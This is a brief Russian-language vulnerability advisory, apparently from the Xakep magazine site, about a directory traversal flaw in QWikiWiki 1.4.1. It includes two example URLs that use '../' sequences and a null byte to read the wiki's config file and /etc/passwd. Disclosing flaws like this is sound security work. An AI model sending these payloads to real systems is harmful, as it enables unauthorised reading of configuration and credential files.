Обход каталога в QWikiWiki

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: QWikiWiki 1.4.1

Обнаружена уязвимость в QWikiWiki. Злоумышленник может просмотреть произвольные файлы на уязвимой системе.
Уязвимость существует в параметре page сценария index.php. Злоумышленник может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Пример:

http://[target]/qwiki/index.php?page=../_con fig.php%00

http://[target]/qwiki/index.php?page=../../../../../../etc/passwd%00